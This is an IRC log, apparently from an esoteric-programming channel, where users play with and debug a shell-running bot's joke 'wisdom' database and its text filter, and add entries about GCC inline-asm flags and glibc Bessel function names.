09:54:44 <Cale> lol
09:54:49 <Cale> Stephen Wolfram
09:54:52 <oerjan> b_jonas: it's disputed hth
09:55:00 <b_jonas> hmm
09:55:02 <b_jonas> ok
09:55:15 <Cale> `? Stephen Wolfram
09:55:17 <HackEgo> Stephen Wolfram is an esolanger with too much money and power. Taneb invented him.
09:55:31 <Cale> `? D-modules
09:55:33 <HackEgo> D-modules are just modules over the ring of differential operators. Taneb invented them.
09:55:40 <Cale> `? the reals
09:55:42 <HackEgo> The reals are an overt complete ordered Brazilian currency invented by Taneb in 1994.
09:56:07 <oerjan> i've forgotten what the overt was for
09:57:12 <oerjan> `wisdom
09:57:14 <HackEgo> quebec//Attache ta tuque with the spindle; there is around here fret!
09:57:34 <oerjan> `wisdom
09:57:36 <HackEgo> latin//LATINA EST SUBLIMISSIMA LINGUA MUNDI
09:57:46 <b_jonas> fungot, quebec//Attache ta tuque with the spindle; there is around here fret!
09:57:46 <fungot> b_jonas: so should it be something like that, does anyone want anything from lieksa? will be attending in the spring
09:57:58 <oerjan> i guess b_jonas hasn't shifted it _that_ much yet.
09:58:19 <oerjan> `wisdom
09:58:21 <HackEgo> iyam//IYAM is like IANAL, except yam instead of anal.
09:58:29 <oerjan> wat.
09:58:40 <oerjan> `hoag wisdom/iyam
09:58:57 <HackEgo> ​<tswett> learn IYAM is like IANAL, except yam instead of anal.
09:59:32 <oerjan> iyam, what iyam.
09:59:53 <oerjan> `wisdom
10:00:39 * oerjan wonders if HackEgo gets clogged when used too much
10:00:56 <shachaf> oerjan: i think everything in this channel gets clogged hth
10:00:58 <hppavilion[2]> 'The Internet gets a bad rap for being the refuge of the socially maladjusted and sexually deviant (wait, can something still be considered a "bad rap" if it's true?).'
10:01:12 <oerjan> i knew you were going to say that.
10:01:20 <shachaf> Cale: Do you know any good Tanebventions? Feel free to add them to the list.
10:01:32 <HackEgo> No output.
10:01:38 <shachaf> oerjan: so did i hth
10:01:40 <oerjan> `wisdom
10:01:43 <HackEgo> ​?//? is wisdom
10:01:44 <shachaf> It's self-serve.
10:01:47 <oerjan> shachaf: fancy
10:01:54 <oerjan> `wisdom
10:01:57 <HackEgo> yeeeeeeeeeeeeeeeesh//See yeeeeeeeeeeeeeeesh.
10:02:06 <shachaf> `? tanebvention
10:02:08 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
10:02:18 <b_jonas> `? taneb
10:02:20 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions)
10:02:48 <shachaf> `sled wisdom/tanebvention//s/G/self-serve frozen yogurt, G/
10:02:59 <oerjan> shachaf: ok 5 wisdoms and none were excessively b_jonased.
10:03:08 <b_jonas> oerjan: that's just luck
10:03:30 <shachaf> They weren't in a row so it didn't count.
10:03:32 <shachaf> `wisdom
10:03:32 <shachaf> `wisdom
10:03:32 <shachaf> `wisdom
10:03:33 <shachaf> `wisdom
10:03:35 <oerjan> b_jonas: yes. we'll get you some time.
10:03:35 <shachaf> `wisdom
10:03:48 <oerjan> shachaf: huh? they were intended to be in a row.
10:04:08 <oerjan> also, if that doesn't count then it doesn't count if any of yours time out >:P
10:04:30 <oerjan> (just as a lesson to people who throw up 5 commands at once)
10:04:39 <shachaf> 5 commands at once used to be the gold standard.
10:05:08 <oerjan> shachaf: hm we need fizzie to do statistics.
10:05:26 <shachaf> Presumably anyone can do statistics.
10:05:39 <shachaf> You just need the repository, right?
10:05:47 <oerjan> O KAY
10:05:48 <shachaf> Or did you want log statistics?
10:05:57 <oerjan> logs, i guess.
10:06:07 <oerjan> it's not like `quote shows up in the repository
10:06:11 <HackEgo> No output.
10:06:37 <HackEgo> No output.
10:06:38 <HackEgo> grue//grue is the colour of the trees and the ocean
10:06:39 <HackEgo> oren//oren is a Canadian esolanger who would like to obliterate time zones so that he can talk to his father who lives in the same house. He'll orobablu get the hang of toycj tuping soon. He also has a rabid hatred of the two-storey lowercase a.
10:06:39 <HackEgo> forty//forty means "in a fort-like manner"
10:07:02 <oerjan> i don't think any of those are excessively b_jonased either.
10:07:56 <shachaf> `cat bin/wisdom
10:07:58 <HackEgo> F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f | shuf -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
10:08:11 <shachaf> I kind of want to make a wisdom entry with a newline in its name.
10:08:41 <oerjan> i guess you need some of those -0 options, then.
10:09:39 <b_jonas> oerjan: but those are only three, not five
10:10:16 <shachaf> `` while true; do F="$(find wisdom -type f | shuf -n1)"; C="$(culprits "$F")"; [[ $C == *b_jonas* ]] || continue; (echo -n "${F#wisdom/}//"; cat "$F") | rnooodl; break; done
10:10:37 -!- Froo has joined.
10:10:39 -!- Froox has quit (Read error: Connection reset by peer).
10:10:49 <HackEgo> No output.
10:11:51 <oerjan> `sled bin/wisdom//s/type f/type f -print0/;s/shuf/shuf -z/
10:12:17 <oerjan> sheesh
10:12:25 <shachaf> Won't that leave the zero in the shuf output?
10:12:45 <oerjan> i don't know
10:12:53 <shachaf> Apparently yes.
10:13:11 <shachaf> Hmm, that'll have a funny failure mode.
10:13:18 <HackEgo> bin/wisdom//F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
10:13:19 <shachaf> It just won't show the //?
10:14:52 <oerjan> `wisdom
10:14:54 <HackEgo> shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
10:15:06 <oerjan> well that worked.
10:15:18 <shachaf> suspicious
10:15:20 -!- PinealGlandOptic has joined.
10:15:24 <oerjan> `wisdom
10:15:29 <HackEgo> terminal symbol//A terminal symbol is a terminal condition that makes your parser die eventually. Consult your linguist for medical advice.
10:16:00 <shachaf> `` echo -ne 'a\0b\0' | shuf -z -n1 | xxd
10:16:05 <HackEgo> 00000000000: 6200 b.
10:16:08 <b_jonas> oerjan: try six consecutive ones such that they actually output a wisdom, not "No output."
10:16:31 <shachaf> `run F="$(echo -ne 'a\0b\0' | shuf -z -n1 | xxd)"; echo -n "${F}x" | xxd
10:16:33 <HackEgo> 0000000: 3030 3030 3030 303a 2036 3230 3020 2020 0000000: 6200 \ 0000010: 2020 2020 2020 2020 2020 2020 2020 2020 \ 0000020: 2020 2020 2020 2020 2020 2020 2020 2020 \ 0000030: 2020 622e 78 b.x
10:16:33 <shachaf> Er.
10:16:37 <shachaf> `run F="$(echo -ne 'a\0b\0' | shuf -z -n1)"; echo -n "${F}x" | xxd
10:16:38 <HackEgo> 0000000: 6278 bx
10:16:47 <shachaf> I see.
10:17:02 <shachaf> A bash variable can't contain a \0? Or maybe it can but it's removed at expansion.
10:18:30 <oerjan> so it accidentally gets fixed
10:18:52 <oerjan> `` bash bin/wisdom
10:18:54 <HackEgo> vi//vi is in a relationship with emacs.
10:19:40 <shachaf> Oh.
10:19:53 <shachaf> My loop didn't work because culprits depingifies nicks.
10:20:48 <b_jonas> wait, you're changing bin/wisdom ?
10:20:52 <b_jonas> be VERY careful with that
10:21:00 <b_jonas> it's an important command
10:21:18 <oerjan> b_jonas: it should be backwards compatible hth
10:21:29 <shachaf> `? is the important command.
10:21:53 <oerjan> as in, there are no wisdoms yet that show the difference afaik
10:22:18 <shachaf> And now that you've fixed the command, there might never be.
10:22:26 <b_jonas> oerjan: sure, but be careful not to introduce a bug
10:22:47 <oerjan> i tested it afterwards didn't i hth
10:23:22 <oerjan> in fact you can say i _removed_ a bug for filenames with newlines in them.
10:23:30 <shachaf> you introduced a negative bug
10:23:40 <shachaf> you were supposed to leave the bug count unchanged hth
10:23:43 <b_jonas> `wisdom
10:23:44 <oerjan> darn
10:23:50 <HackEgo> snap//Snap is a simple web development framework for unix systems, written in the Haskell programming language. Snap has a high level of test coverage and is well-documented.
10:23:51 <b_jonas> `wisdom
10:23:53 <HackEgo> ​øl//Øl, øl og mere øl.
10:23:54 <b_jonas> `wisdom
10:23:55 <HackEgo> category//A category is an enriched category where the enriching category is the category of classes.
10:23:56 <b_jonas> `wisdom
10:23:57 <HackEgo> 4chan//4chan is twice as loud as stereo.
10:23:59 <b_jonas> `wisdom
10:24:01 <HackEgo> war//A lot more young people have gone off to fight in this war than I would have, at that age.
10:24:05 <oerjan> oh that first one is b_jonased.
10:24:15 <b_jonas> what?
10:24:17 <shachaf> No, it's Caled.
10:24:18 <b_jonas> I didn't do that one
10:24:21 <shachaf> `culprits wisdom/snap
10:24:24 <oerjan> shachaf: same thing
10:24:25 <HackEgo> Cale
10:24:45 <Cale> wat
10:26:04 <shachaf> `` i=0; find wisdom -type f | shuf | while read F; do i=$((i+1)); if hoag "$F" | grep -q b_jonas; then (echo -n "$i:${F#wisdom/}//"; cat "$F") | rnooodl; break; fi; done
10:26:19 <HackEgo> 5:rhenium//Rhenium is a precious metal. It can be found nowhere in Earth because the Enemy has used up all of it for forging the One Ring.
10:26:31 <shachaf> 5 attempts to find a b_jonas wisdom
10:26:34 <shachaf> `` i=0; find wisdom -type f | shuf | while read F; do i=$((i+1)); if hoag "$F" | grep -q b_jonas; then (echo -n "$i:${F#wisdom/}//"; cat "$F") | rnooodl; break; fi; done
10:26:48 <HackEgo> 6:post-industrial semi-punk nekronoise ambient happy hardcore triphop shoegaze//Post-industrial semi-punk nekronoise ambient happy hardcore triphop shoegaze is the genre of the Autobahn album "Nagelbett" according to http://thedailywtf.com/articles/Yo-Ho%2c-Yo-Ho%2c-A-Pirates-Life-for-Lee .
10:27:02 <shachaf> `mkx tmp/tmp_jonas//i=0; find wisdom -type f | shuf | while read F; do i=$((i+1)); if hoag "$F" | grep -q b_jonas; then echo -n "$i:${F#wisdom/}//"; cat "$F"; break; fi; done | rnooodl
10:27:03 <HackEgo> tmp/tmp_jonas
10:27:08 <shachaf> `tmp_jonas
10:27:09 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmp_jonas: not found
10:27:15 <shachaf> `tmp/tmp_jonas
10:27:23 <HackEgo> 2:taiwan//Taiwan is a country of which the United Nations denies the existence, just like Macedonia is.
10:27:27 <shachaf> `tmp/tmp_jonas
10:27:31 <HackEgo> 2:we//We are the champions.
10:27:53 <shachaf> `tmp/tmp_jonas
10:28:19 <HackEgo> 9:virgil//Virgil is a prayer at dawn, as well as an ancient Italian poet who led Dante to hell so they can ask the blind transgendered seer Anchises stupid politics questions concerning contemporary noble families.
10:28:26 <shachaf> `tmp/tmp_jonas
10:28:49 <oerjan> i still think he mistyped Vigil
10:28:59 <HackEgo> No output.
10:29:33 <oerjan> i suppose most of b_jonas's wisdoms aren't excessively b_jonased either
10:29:36 <shachaf> `tmp/tmp_jonas
10:29:55 <shachaf> It would be nice if you could handle timeout by printing some debugging information.
10:30:04 <HackEgo> 14:at//At is a daemon for procrastinating commands.
10:30:20 <shachaf> Maybe I'll make a timeout wrapper that times out after 29 seconds and prints something if a timeout happens.
10:30:23 <oerjan> you can append ; echo Nope hth
10:30:27 <shachaf> Or sends a signal!
10:30:33 <shachaf> oerjan: Sure, but in this case I want to print the value of i.
10:30:39 <shachaf> `tmp/tmp_jonas
10:30:43 <HackEgo> 1:ioccclist//iocccclist is update notification for when a new year of the International Obfuscated Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.ioccccccc.org/#news
10:36:46 <int-e> what's with the cs...
10:36:50 <int-e> `cat bin/rnoodle
10:36:51 <HackEgo> cat: bin/rnoodle: No such file or directory
10:36:59 <int-e> `cat bin/rnooodl
10:37:00 <HackEgo> perl -pe 's/([^wW\W])\1\1/"@{[$1 x(3+rand 7)]}"/ge'
10:37:09 <int-e> meh
10:37:24 <b_jonas> shachaf: would that work? the timeout is because the virtual file system is inaccessible, in which case your wrapper won't work either
10:37:36 <shachaf> Is it?
10:37:53 <shachaf> In that case I don't know.
10:37:53 <b_jonas> int-e: I think the multiple c wasn't me
10:38:01 <shachaf> `? iocccclist
10:38:03 <HackEgo> iocccclist? ¯\(°​_o)/¯
10:38:07 <shachaf> `? ioccclist
10:38:08 <HackEgo> ioccccccclist is update notification for when a new year of the International Obfuscated Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.iocccc.org/#news
10:38:12 <int-e> `` sed -i s/Con/C Code Con/ wisdom/ioccclist
10:38:14 <HackEgo> sed: -e expression #1, char 7: unterminated `s' command
10:38:23 <int-e> `` sed -i 's/Con/C Code Con/' wisdom/ioccclist
10:38:27 <HackEgo> No output.
10:38:30 <b_jonas> oh! that reminds me
10:38:40 <b_jonas> `? =@cc
10:38:41 <HackEgo> ​=@cc? ¯\(°​_o)/¯
10:38:48 <hppavilion[2]> "To Kill a Mockingjay"
10:38:52 <hppavilion[2]> Have fun with your ruined childhood
10:38:59 <b_jonas> I have to add this one, and this one will be b_jonased
10:38:59 <int-e> b_jonas: the rnooodl output filter does it
10:39:16 <b_jonas> int-e: I see
10:40:00 <int-e> and I'm slightly annoyed that it breaks the link.
10:40:24 <b_jonas> `? =@ccc
10:40:26 <HackEgo> ​=@ccc? ¯\(°​_o)/¯
10:40:39 <shachaf> `` echo СССР
10:40:40 <int-e> (with probebility 0.857142...)
10:40:41 <HackEgo> ​СССР
10:40:42 <shachaf> `` echo СССР
10:40:43 <HackEgo> ​СССР
10:40:51 <shachaf> What a shame.
10:40:54 <shachaf> `` echo CCCP
10:40:55 <HackEgo> CCCCCP
10:41:01 <b_jonas> what
10:41:02 <shachaf> I guess I can do that.
10:41:15 <b_jonas> at what layer is that filter? and WHY?
10:41:17 <b_jonas> that's annoying
10:41:54 <shachaf> The filter is everywhere.
10:42:06 <shachaf> You can bloerjan for that one.
10:42:12 <int-e> shachaf: you are a bad person
10:42:41 <shachaf> int-e: What? I wanted to see if it was bytes or code points.
10:42:42 <int-e> Fri, 18 Mar 2016 04:10:07 +0000 <shachaf> ` sed -i \'4s/$/ | rnooodl/\' \'bin/`\'
10:42:51 <shachaf> Oh, that.
10:43:08 <b_jonas> `slashlearn =@ccc/=@ccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html which documents it, and http://article.gmane.org/gmane.linux.kernel/2238065 which uses it.
10:43:10 <HackEgo> Learned «=@ccc»
10:43:15 <b_jonas> `? =@ccc
10:43:17 <HackEgo> ​=@ccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html which documents it, and http://article.gmane.org/gmane.linux.kernel/2238065 which use
10:43:18 <b_jonas> is that too long?
10:43:40 <b_jonas> `slashlearn =@ccc/=@ccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html , http://article.gmane.org/gmane.linux.kernel/2238065 .
10:43:43 <HackEgo> Relearned «=@ccc»
10:43:46 <b_jonas> `? =@ccc
10:43:49 <HackEgo> ​=@ccccccc is a great innovation in gcc 6, kept top secret, where inline asm statements can return a value in the carry flag on x86_64. See https://gcc.gnu.org/gcc-6/changes.html which keeps this secret, https://gcc.gnu.org/onlinedocs/gcc-6.1.0/gcc/Extended-Asm.html , http://article.gmane.org/gmane.linux.kernel/2238065 .
10:43:59 <b_jonas> NO! it's exactly three c
10:44:08 <b_jonas> they stand for condition, code, carry respectively
10:44:11 <b_jonas> damn
10:44:14 <b_jonas> that filter is VERY annoying
10:44:15 <b_jonas> seriously
10:44:18 <b_jonas> turn it off
10:44:24 <shachaf> Ask oerjan about that.
10:44:40 <shachaf> I like the filter, especially when it comes as a surprise.
10:44:44 <b_jonas> oerjan: turn that filter off!
10:44:54 <b_jonas> shachaf: put it to some lower level, like at `wisdom only or something
10:45:00 <b_jonas> um, higher level
10:45:02 <shachaf> `cat bin/wisdom
10:45:03 <HackEgo> F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
10:45:37 * oerjan sues shachaf for libel
10:45:54 <oerjan> oh well
10:46:00 <oerjan> `cat bin/rnooodl
10:46:01 <shachaf> oerjan: You're the one who replaced the noooodl filter with the (.)\1\1 filter.
10:46:04 <HackEgo> perl -pe 's/([^wW\W])\1\1/"@{[$1 x(3+rand 7)]}"/ge'
10:46:08 -!- atslash has joined.
10:48:19 <oerjan> `` hg cat -r bin/rnooodl
10:48:23 <HackEgo> hg cat: invalid arguments \ hg cat [OPTION]... FILE... \ \ output the current or given revision of files \ \ options: \ \ -o --output FORMAT print output to file with formatted name \ -r --rev REV print the given revision \ --decode apply any matching decode filter \ -I --include PATTERN [+] include names ma
10:48:31 <int-e> `` rm -r bin/SAVEDAT
10:48:33 <HackEgo> No output.
10:48:40 <oerjan> `` hg cat -r 5060d5af0b98 bin/rnooodl
10:48:46 <HackEgo> perl -pe 's/([Nn])oooodl/"$1@{[o x(3+rand 7)]}dl"/ge'
10:48:56 <oerjan> `` hg cat -r 5060d5af0b98 bin/rnooodl >bin/rnooodl
10:49:05 <HackEgo> No output.
10:49:16 <shachaf> oerjan: :'(
10:49:19 <oerjan> `? ioccc
10:49:21 <HackEgo> The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist.
10:49:26 <oerjan> `? ioccclist
10:49:27 <HackEgo> ioccclist is update notification for when a new year of the International Obfuscated C Code Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.ioccc.org/#news
10:49:30 -!- astslash has quit (Ping timeout: 276 seconds).
10:50:05 <oerjan> shachaf: YOU SHOULD HAVE THOUGHT OF THAT BEFORE BLAMING ME hth
10:50:17 <shachaf> oerjan: TDNH
10:50:33 <Cale> `? OIC
10:50:35 <HackEgo> OIC, OIC means Oh I see.
10:50:42 <Cale> ... okay
10:51:21 <int-e> `<command>
10:51:22 <HackEgo> Stop taking everything literally!
10:51:34 <shachaf> `? oiccc
10:51:35 <HackEgo> oiccc? ¯\(°​_o)/¯
10:52:14 <shachaf> The OIC code contest must be a contest for especially clear code.
10:54:14 <int-e> obviously incorrect code
10:56:13 <Cale> It's especially clear that it's incorrect
10:57:00 <Cale> IICCC
10:57:05 <oerjan> `culprits bin/SAVEDAT
10:57:11 <HackEgo> int-e moon_
10:57:37 -!- hppavilion[2] has quit (Ping timeout: 250 seconds).
10:57:54 <oerjan> `hoag bin/SAVEDAT
10:57:57 <HackEgo> ​<int-e> ` rm -r bin/SAVEDAT \ <moon_> mk bin/SAVEDAT/combineSAVE//
10:58:48 <oerjan> OKAY
11:00:25 <shachaf> I,I CCC
11:00:33 <int-e> `? lies
11:00:36 <HackEgo> Lies are even easier than monoids. They form groups, known as Lie groups.
11:01:03 <b_jonas> shachaf: "The OIC code contest must be a contest for especially clear code." => we have one of those: http://www.underhanded-c.org/
11:05:08 <int-e> `./!\.´
11:05:09 <HackEgo> emergency signal toggled
11:06:09 -!- ski has quit (Quit: Lost terminal).
11:16:09 -!- boily has joined.
11:17:45 -!- Froo has quit (Quit: *bubbles away*).
11:18:06 -!- Frooxius has joined.
11:18:45 <boily> `wisdom
11:19:34 <HackEgo> No output.
11:20:15 <oerjan> helloily
11:20:39 <boily> hellørjan
11:22:37 -!- Koen_ has joined.
11:22:45 <b_jonas> argh, people filing bug reports without context
11:24:49 <int-e> b_jonas: it doesn't work!
11:25:04 -!- oerjan has quit (Quit: Later).
11:53:29 -!- Alcest has joined.
11:56:54 -!- atslash has quit (Quit: This computer has gone to sleep).
11:57:25 -!- Phantom_Hoover has joined.
12:08:10 -!- boily has quit (Quit: WATERED CHICKEN).
12:14:23 -!- disMyHooman has joined.
12:15:18 <disMyHooman> i can chat?
12:15:25 -!- disMyHooman has changed nick to sssSSS.
12:15:55 -!- bender has joined.
12:27:38 -!- sssSSS has quit (Quit: Leaving).
12:51:47 -!- Koen__ has joined.
12:54:37 -!- Koen_ has quit (Ping timeout: 258 seconds).
12:58:21 -!- astslash has joined.
13:01:32 -!- PinealGlandOptic has quit (Quit: leaving).
13:06:52 -!- Koen__ has quit (Read error: Connection reset by peer).
13:10:00 -!- Koen_ has joined.
13:38:55 -!- Frooxius has quit (Quit: *bubbles away*).
13:49:40 -!- Sgeo has quit (Ping timeout: 244 seconds).
14:12:06 <b_jonas> `wisdom
14:12:07 <b_jonas> `wisdom
14:12:46 <HackEgo> sugar//Sugar, spice, and everything nice. These were the ingredients chosen to create the perfect little girl. But Professor Utonium accidentally added an extra ingredient to the concoction: Chemical X! Thus the Powerpuff Girls were born! Using their ultra super powers, Blossom, Bubbles, and Buttercup have dedicated their lives to fighting crime an
14:12:46 <HackEgo> false//false is a very old stack-based language. For an authentic experience, run it on an Amiga. It's also not true.
14:13:05 <b_jonas> hah! that first one is mine
14:13:07 <b_jonas> `wisdom
14:13:08 <b_jonas> `wisdom
14:13:11 <b_jonas> `wisdom
14:13:34 <HackEgo> orodruin//The Orodruin is a mountain heated by earth spirits. Sauron moved to Mordor because boiling water for his morning tea with the fires of the Orodruin was so convenient.
14:13:42 <HackEgo> fabric of reality//The fabric of reality is *not* plaid corduroy, no matter what evil tongues say.
14:13:43 <HackEgo> nvd//nvd is what Taneb calls himself when he wants to feel professional.
14:13:47 <b_jonas> wait wait
14:13:53 <b_jonas> `olist 1040
14:13:54 <HackEgo> olist 1040: shachaf oerjan Sgeo FireFly boily nortti b_jonas
14:19:35 -!- iaglium has quit (Ping timeout: 260 seconds).
14:38:46 -!- Koen_ has quit (Remote host closed the connection).
14:43:51 <izabera> does this count as esoteric? https://github.com/xoreaxeaxeax/movfuscator
14:46:30 -!- Sgeo has joined.
15:08:44 -!- Koen_ has joined.
15:09:35 <b_jonas> izabera: yes
15:36:41 -!- spiette has joined.
15:39:23 -!- astslash has quit (Quit: This computer has gone to sleep).
16:01:28 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
16:29:15 -!- Akaibu has joined.
16:35:12 -!- spockers has quit (Remote host closed the connection).
17:05:16 <HackEgo> [wiki] [[User:12Me21]] N https://esolangs.org/w/index.php?oldid=47228 * 12Me21 * (+204) Created page with "'''*typing in chat*''' ''ok here's my variation of that language:'' ''L = move left one'' '''*accidentally presses enter*''' ''oops'' '''new language "L"''' '''commands..."
17:12:27 <b_jonas> `? xerxes
17:12:38 <HackEgo> xerxes? ¯\(°​_o)/¯
17:12:50 <b_jonas> ``` echo wisdom/*[xXqQ]*[xXqQ]*
17:12:52 <HackEgo> wisdom/XQELEKCTHZVBDBQR wisdom/xkcq
17:13:00 <b_jonas> `? XQELEKCTHZVBDBQR
17:13:02 <HackEgo> XQELEKCTHZVBDBQR? ¯\(°​_o)/¯
17:13:06 <b_jonas> `? xkcq
17:13:06 <myname> wat
17:13:08 <HackEgo> ​"xkcq" is worth 8 more points than "xkcd" in Scrabble, or a whopping 30 more if both are played optimally on a triple word score. Nyahhh.
17:13:22 -!- augur has joined.
17:13:46 <b_jonas> ``` head wisdom/X*
17:13:47 <HackEgo> Who told you this?
17:13:53 <b_jonas> ``` head wisdom/XQ*
17:13:54 <HackEgo> Who told you this?
17:13:59 <b_jonas> what
17:14:03 <b_jonas> ``` /bin/head wisdom/XQ*
17:14:05 <HackEgo> bash: /bin/head: No such file or directory
17:14:08 <b_jonas> ``` /usr/bin/head wisdom/XQ*
17:14:10 <HackEgo> Who told you this?
17:14:19 <b_jonas> ``` /bin/echo wisdom/XQ*
17:14:21 <HackEgo> wisdom/XQELEKCTHZVBDBQR
17:14:34 <b_jonas> ``` /bin/ls -dl wisdom/XQ*
17:14:36 <HackEgo> ​-rw-r--r-- 1 5000 0 19 Dec 9 2015 wisdom/XQELEKCTHZVBDBQR
17:14:59 <b_jonas> ``` /bin/ls -dl wisdom/XQELEKCTHZVBDBQR
17:14:59 <HackEgo> ​-rw-r--r-- 1 5000 0 19 Dec 9 2015 wisdom/XQELEKCTHZVBDBQR
17:15:03 <b_jonas> `? wisdom/XQELEKCTHZVBDBQR
17:15:04 <HackEgo> wisdom/XQELEKCTHZVBDBQR? ¯\(°​_o)/¯
17:15:07 <b_jonas> `? XQELEKCTHZVBDBQR
17:15:08 <HackEgo> XQELEKCTHZVBDBQR? ¯\(°​_o)/¯
17:15:13 <b_jonas> ?
17:15:23 -!- nirutus has joined.
17:15:44 <b_jonas> oerjan, why does ? not find that entry?
17:27:11 -!- bender has quit (Ping timeout: 250 seconds).
17:33:51 -!- MoonyTheDwarf has joined.
17:34:00 -!- atrapado has joined.
17:34:30 -!- atrapado has quit (Remote host closed the connection).
17:35:00 <MoonyTheDwarf> good morning
17:42:43 -!- MoonyTheDwarf has changed nick to moon_.
18:10:29 -!- astslash has joined.
18:32:06 -!- spockers has joined.
18:39:27 -!- astslash has quit (Quit: This computer has gone to sleep).
18:54:34 <quintopia> helloon
18:55:39 <b_jonas> quinthellopia
18:55:57 <quintopia> bon_journas
18:56:43 <quintopia> are you screwing up wisdom again
18:57:31 <b_jonas> quintopia: what? oerjan just found that I haven't screwed up them much yet
18:57:38 <b_jonas> but anyway, yes
18:57:47 <b_jonas> if wisdom/=@ccc counts as screwed up
18:57:57 <b_jonas> I think it does
18:58:23 <quintopia> :p
18:58:23 <b_jonas> `? one ring
18:58:37 <HackEgo> One Ring to rule them all, One Ring to find them, One Ring to bring them all and in the darkness bind them
18:59:04 <b_jonas> `? keyboard
18:59:07 <HackEgo> keyboard? ¯\(°​_o)/¯
18:59:07 <b_jonas> `? keyboar
18:59:09 <HackEgo> keyboar? ¯\(°​_o)/¯
18:59:25 <b_jonas> `? 6
18:59:26 <HackEgo> 6? ¯\(°​_o)/¯
18:59:37 <shachaf> If one bell rings in the Tower of Bray, / Ding, dong, your true love will stay, / Ding, dong, one bell today, / In the Tower of Bray, / Ding, dong
18:59:38 <b_jonas> ``` ls -ld bin/[0-9]
18:59:40 <HackEgo> ​-rwxr-xr-x 1 5000 0 16 Jun 3 19:23 bin/1 \ -rwxr-xr-x 1 5000 0 40 Jun 4 09:41 bin/5
18:59:58 <shachaf> b_jonas: Aw, that's kind of disappointing.
19:00:06 <b_jonas> what does 5 do?
19:00:16 <b_jonas> shachaf: sorry, I already added an entry for "if" yet
19:00:16 <shachaf> If nooodl hadn't been modified it would've shown 500000
19:00:22 <b_jonas> `? 5
19:00:24 <b_jonas> `5
19:00:34 <HackEgo> 5? ¯\(°​_o)/¯
19:00:40 <HackEgo> 1/2:228) <nddrylliog> back to legal tender, that expression really makes me daydream. Like, there'd be black-market tender. Out-of-town hug shops where people exchange tenderness you've NEVER SEEN BEFORE. \ 1143) <Taneb> I am NOT in the mood for binomial expansion \ 1078) <zzo38> Even if the people who made that program is a murdere
19:00:44 <b_jonas> ah! I see
19:00:58 <b_jonas> `wisdom
19:01:01 <HackEgo> group//groups are just loops with the property of associativity
19:01:03 <b_jonas> `quote
19:01:04 <HackEgo> 848) <c00kiemon5ter> so up is down too
19:01:11 <shachaf> `spam
19:01:13 <HackEgo> 2/2:r, the program itself isn't a murderer so that doesn't make it wrong \ 374) <monqy> it was a wonderful dream <monqy> i died in it <monqy> that's how it started \ 1229) <Taneb> cpressey, Agda is a function that maps cabal install to an electric heater \
19:01:15 <Taneb> I don't think I'm ever in the mood for binomial expansion
19:01:32 <b_jonas> fungot, are you in the mood for binomial expansion?
19:01:33 <fungot> b_jonas: i thought javas were the ones who have the nerve to use the lisppaste bot, visit http://paste.lisp.org/ new/ scheme
19:01:44 <b_jonas> fungot: do you mean jawas?
19:01:45 <fungot> b_jonas: but being in teh skene is trendy anyway.) in this area says that you stick .edwin in your dir".
19:01:50 <shachaf> Taneb: how about binomial expungion hth
19:01:51 <b_jonas> fungot: so true
19:01:51 <fungot> b_jonas: 1. the item in the stream. k transfers control back to for-each to do another iteration. local fnord
19:01:57 <Taneb> shachaf, I've never tried it
19:02:00 -!- augur has quit (Remote host closed the connection).
19:02:04 <b_jonas> `? bessell function
19:02:05 <HackEgo> bessell function? ¯\(°​_o)/¯
19:02:18 <shachaf> Why do you `? wisdom entries that you're pretty sure don't exist?
19:02:24 <shachaf> And not just one but a whole bunch in a row.
19:02:31 <quintopia> are there any math vore fetishers who watch binomial expansion porn?
19:02:39 -!- augur has joined.
19:02:41 <b_jonas> shachaf: I want to add one for bessell function, or the correct spelling for it
19:03:12 <quintopia> (x+y)^n=( x + y ) ^n
19:03:26 <shachaf> Is that related to the Besselheim plate?
19:03:37 <int-e> quintopia: that's horrible
19:03:42 <b_jonas> `? bessel function
19:03:43 <HackEgo> bessel function? ¯\(°​_o)/¯
19:04:44 <int-e> are the bessel functions useful for handwaving?
19:04:57 <b_jonas> `slashlearn bessel function/Bessel functions are responsible for certain surprising and hard to understand compilation errors. You may have seen them if you tried to define a global named yn or j0.
19:05:02 <HackEgo> Learned «bessel function»
19:05:35 <b_jonas> `? bessel functions
19:05:36 <HackEgo> Bessel functions are responsible for certain surprising and hard to understand compilation errors. You may have seen them if you tried to define a global named yn or j0.
19:06:55 <myname> in what language?
19:07:10 <b_jonas> myname: C. They're in gnu libc as several functions with easy to clash names, a sad decision but we can't change the abi now.
19:07:13 -!- augur has quit (Ping timeout: 258 seconds).
